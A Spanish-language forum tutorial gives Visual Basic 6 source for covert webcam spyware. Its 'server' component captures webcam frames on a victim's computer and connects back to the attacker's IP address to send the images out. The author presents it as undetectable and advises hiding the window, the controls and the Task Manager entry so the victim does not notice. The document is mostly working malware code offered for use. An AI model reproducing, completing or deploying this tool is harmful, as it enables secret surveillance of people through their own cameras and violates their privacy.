Les voy a enseñar construir nuestro sistema de cliente/servidor
para espiar la webcam del servidor

.
Lo mejor de esta aplicacion es que ES INDETECTABLE!!. Asi es, debido
a que el servidor en realidad funciona como cliente, y el cliente, es el servidor!
Es decir que nosotros (El cliente) somos los que enrealidad abrimos los puertos y,
el servidor, es el que se conecta a nosotros para comenzar a enviarnos las imagenes.
Por lo que el Servidor (En realidad cliente xD) no le detecta nada, sino que al que le detecta
sera a nosotros, pero no se preocupen, simplemnete cierren el antivirus asi no molesta xD
Y si tenemos el Firewall activado, y nos pregunta que hacer apretamos Desbloquear.
Ahora si, comencemos...
Primero configuraremos el Cliente.El cliente posee un Winsock Control. Para agregarlo vamos a Proyecto>Componentes>
Microsoft Winsock Control 6.0.
Y un PcitureBox. A los dos les dejaremos el nombre que traen para no confundirnos
mucho.
Luegro le agregamos el siguiente codigo:
---------------------------------------------------------------------------------
Dim Ruta As String
Private Sub Form_Load()
Ruta = "c:\temporal2.bmp"
Open Ruta For Binary As #1
On Error Resume Next
Kill (Ruta)
Open "ruta" For Binary As #1
Winsock1.LocalPort = 1000
Winsock1.Listen
End Sub
Private Sub Winsock1_ConnectionRequest(ByVal requestID As Long)
Winsock1.Close
Winsock1.Accept requestID
End Sub
Private Sub Winsock1_DataArrival(ByVal bytesTotal As Long)
Dim Imagen As String
Winsock1.GetData Imagen, vbNullString
Put #1, , Imagen
If Right(Imagen, 3) = "Fin" Or Imagen = "Fin" Then
Close
Picture1 = LoadPicture(Ruta)
Open Ruta For Binary As #1
End If
End Sub
------------------------------------------
Ahora el Servidor...El servidor posee un formulario, y un modulo.
El formulario posee dos TextBox, un PictureBox un Control Winsock, un Timer y un
CommandButton
Recuerda dejarle los mismos nombres.
Y este codigo:
------------------------------------------
Dim Imagen() As Byte
Private Sub Form_Load()
Command1.Caption = "Conectar"
Text1.Text = "TUIP" 'Aqui debe tu ip!, buenisimo no?, ni conseguir la ip de la cpu a espiar precisas :D
If Command1.Caption = "Conectar" Then
Winsock1.CONNECT Text1, CInt(Text2)
mCapHwnd = capCreateCaptureWindow("WebcamCapture", 0, 0, 0, 320, 240, Me.hwnd, 0)
DoEvents: SendMessage mCapHwnd, CONNECT, 0, 0
Timer1.Enabled = True
Command1.Caption = "Desconectar"
Else
Timer1.Enabled = False
DoEvents: SendMessage mCapHwnd, DISCONNECT, 0, 0
Winsock1.Close
Me.Caption = "Desconectado"
Command1.Caption = "Conectar"
End If
End Sub
Private Sub Form_QueryUnload(Cancel As Integer, UnloadMode As Integer)
DoEvents: SendMessage mCapHwnd, DISCONNECT, 0, 0
Winsock1.Close
End Sub
Private Sub Timer1_Timer()
On Error Resume Next
SendMessage mCapHwnd, GET_FRAME, 0, 0
SendMessage mCapHwnd, COPY, 0, 0
Picture1.Picture = Clipboard.GetData
SavePicture Clipboard.GetData, "c:\temporal.bmp"
Dim Tamaño As Long
Open "c:\temporal.bmp" For Binary Access Read As #1
Tamaño = LOF(1)
ReDim Imagen(Tamaño - 1)
Get #1, , Imagen
Close
Winsock1.SendData Imagen
Winsock1.SendData "Fin"
End Sub
Private Sub Winsock1_Close()
Me.Caption = "Desconectado"
End Sub
Private Sub Winsock1_Connect()
Me.Caption = "Conectado"
End Sub
------------------------------------------
Y el modulo tiene este codigo:
Public Declare Function SendMessage Lib "USER32" Alias "SendMessageA" (ByVal hwnd As Long, ByVal wMsg As Long, ByVal wParam As Long, lParam As Any) As Long
Public Declare Function capCreateCaptureWindow Lib "avicap32.dll" Alias "capCreateCaptureWindowA" (ByVal lpszWindowName As String, ByVal dwStyle As Long, ByVal X As Long, ByVal Y As Long, ByVal nWidth As Long, ByVal nHeight As Long, ByVal hwndParent As Long, ByVal nID As Long) As Long
Public mCapHwnd As Long
Public Const CONNECT As Long = 1034
Public Const DISCONNECT As Long = 1035
Public Const GET_FRAME As Long = 1084
Public Const COPY As Long = 1054
NOTAS:
Debemos poner False en la Opcion "Visible" de: Text1, Text2 y CommandButton1 .
Para que ande correctamente, primero debe estar abierto el cliente
y luego el servidor, si primero se abre el servidor y luego el
cliente, no funcionara.
El Intervalo del Timer debe ser el que nosotros queramos (Recomiendo 200).
Debemos cambiar la propiedad "Enabled" del Timer a False.
El "Text" de Text2 debe ser 1000.
Tambien es recomendable hacer invisible el formulario de servidor, asi la otra
persona no nos descubre, y tambien hacerlo invisible en el administrador de tareas.Saludos!
------------------